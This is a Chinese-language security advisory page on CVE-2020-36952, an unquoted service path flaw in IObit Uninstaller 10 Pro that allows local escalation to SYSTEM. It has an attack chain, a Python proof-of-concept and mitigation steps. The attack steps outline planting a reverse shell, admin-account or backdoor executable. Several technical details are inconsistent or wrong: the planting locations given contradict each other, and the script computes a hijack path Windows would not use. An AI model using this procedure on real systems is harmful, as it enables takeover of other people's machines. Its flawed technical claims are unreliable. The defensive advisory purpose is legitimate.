IPBUF安全漏洞报告
English
CVE-2020-36952 CVSS 7.8 高危

CVE-2020-36952 IObit Uninstaller 10 Pro未引号服务路径权限提升漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2020-36952
漏洞类型
未引号服务路径权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
IObit Uninstaller 10 Pro

相关标签

CVE-2020-36952未引号服务路径权限提升本地攻击Windows提权IObit Uninstaller高危漏洞SYSTEM权限服务路径遍历

漏洞概述

CVE-2020-36952是IObit Uninstaller 10 Pro中发现的一个高危安全漏洞,CVSS评分达到7.8分。该漏洞属于Windows系统中常见的未引号服务路径(Unquoted Service Path)问题,存在于IObit Uninstaller Service服务中。攻击者利用此漏洞可以在本地以低权限用户身份,通过在服务路径中植入恶意可执行文件,实现SYSTEM级别权限的提升,从而完全控制受影响系统。此类漏洞通常需要攻击者具备本地访问权限,且攻击过程不会触发用户交互,但由于其可导致最高权限获取,被归类为高危漏洞。IObit Uninstaller作为一款广泛使用的Windows系统优化和软件卸载工具,其服务以SYSTEM权限运行,使得该漏洞的潜在危害更加严重。

技术细节

未引号服务路径漏洞(Unquoted Service Path)是一种Windows权限提升漏洞。当Windows服务配置中的可执行文件路径包含空格且未使用双引号包裹时,系统在启动服务时会从左到右解析路径,并在遇到空格时将其后的内容视为独立的可执行文件名进行搜索执行。IObit Uninstaller 10 Pro的卸载服务(IObit Uninstaller Service)存在此问题。攻击者可以将恶意可执行文件(如Malicious.exe)放置在服务路径的中间目录中,例如将文件命名为"Program.exe"并放置在"C:\Program Files\IObit\IObit Uninstaller\"目录下。当服务启动时,系统会首先查找并执行该恶意文件,而非原始的IObitUninstaller.exe,从而实现代码以SYSTEM权限执行。这种攻击方式依赖于Windows的服务控制管理器(SCM)解析路径时的行为,攻击者只需具备目标系统的写入权限即可实施攻击。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先获取目标系统的本地访问权限,识别IObit Uninstaller 10 Pro是否已安装,并检查其服务配置中的可执行文件路径
STEP 2
步骤2
漏洞识别:通过sc query或msf工具检查IObit Uninstaller Service的BINARY_PATH_NAME,确认路径中包含空格且未被双引号包裹
STEP 3
步骤3
恶意文件创建:攻击者编写恶意可执行文件(如反弹shell、添加管理员账户或下载安装后门程序),并将其命名为服务路径中空格前第一个单词加上.exe后缀
STEP 4
步骤4
文件部署:将恶意可执行文件写入服务路径的中间目录,例如将malicious.exe写入C:\Program Files\IObit\目录
STEP 5
步骤5
触发执行:等待服务重启、系统更新、用户登录或使用sc命令手动重启服务,使Windows服务控制管理器在解析路径时执行恶意文件
STEP 6
步骤6
权限提升:恶意代码以SYSTEM级别权限执行,攻击者成功实现本地权限提升,可完全控制受害系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2020-36952 PoC - IObit Uninstaller 10 Pro Unquoted Service Path This PoC demonstrates how to exploit the unquoted service path vulnerability to escalate privileges to SYSTEM level. Note: This is for educational and authorized testing purposes only. """ import os import subprocess import sys def check_service_path(): """Check if the IObit Uninstaller service has an unquoted path with spaces""" try: # Query the service configuration using sc command result = subprocess.run( ['sc', 'qc', 'IObitUninstallerSvc'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[*] IObit Uninstaller Service found") for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[*] Service path: {path}") # Check if path contains spaces and is not quoted if ' ' in path and not path.startswith('"'): print("[!] VULNERABLE: Unquoted path with spaces detected!") return True, path return False, None except Exception as e: print(f"[-] Error checking service: {e}") return False, None def exploit_unquoted_path(service_path): """ Exploit the unquoted service path by creating a malicious executable in the intermediate directory path. """ # Extract path components path_parts = service_path.strip('"').split('\\') # Find the first directory with space in its name exploit_dir = None for i, part in enumerate(path_parts[:-1]): if ' ' in part: exploit_dir = '\\'.join(path_parts[:i+1]) malicious_exe = os.path.join(exploit_dir, path_parts[i+1].split()[0] + '.exe') break if not exploit_dir: print("[-] No exploitable path component found") return False print(f"[*] Exploit directory: {exploit_dir}") print(f"[*] Malicious executable should be placed at: {malicious_exe}") print(f"[!] When service restarts, it will execute the malicious file with SYSTEM privileges") return True def main(): print("=" * 60) print("CVE-2020-36952 - IObit Uninstaller Unquoted Service Path") print("=" * 60) vulnerable, path = check_service_path() if vulnerable: print("\n[!] Target is VULNERABLE to CVE-2020-36952") exploit_unquoted_path(path) print("\n[*] To exploit:") print(" 1. Create a malicious executable") print(" 2. Place it in the exploit directory") print(" 3. Wait for service restart or reboot") else: print("\n[-] Target does not appear to be vulnerable") if __name__ == '__main__': main()

影响范围

IObit Uninstaller 10 Pro < 10.4.0.12

防御指南

临时缓解措施
在官方补丁发布之前,可通过以下措施临时缓解风险:1)卸载或禁用IObit Uninstaller服务;2)手动修改服务注册表项,为BINARY_PATH_NAME添加双引号;3)使用ICACLS工具限制服务目录的写入权限,仅允许管理员和SYSTEM账户写入;4)部署应用程序白名单策略阻止未授权可执行文件运行;5)监控安全日志中的异常服务启动事件。建议尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表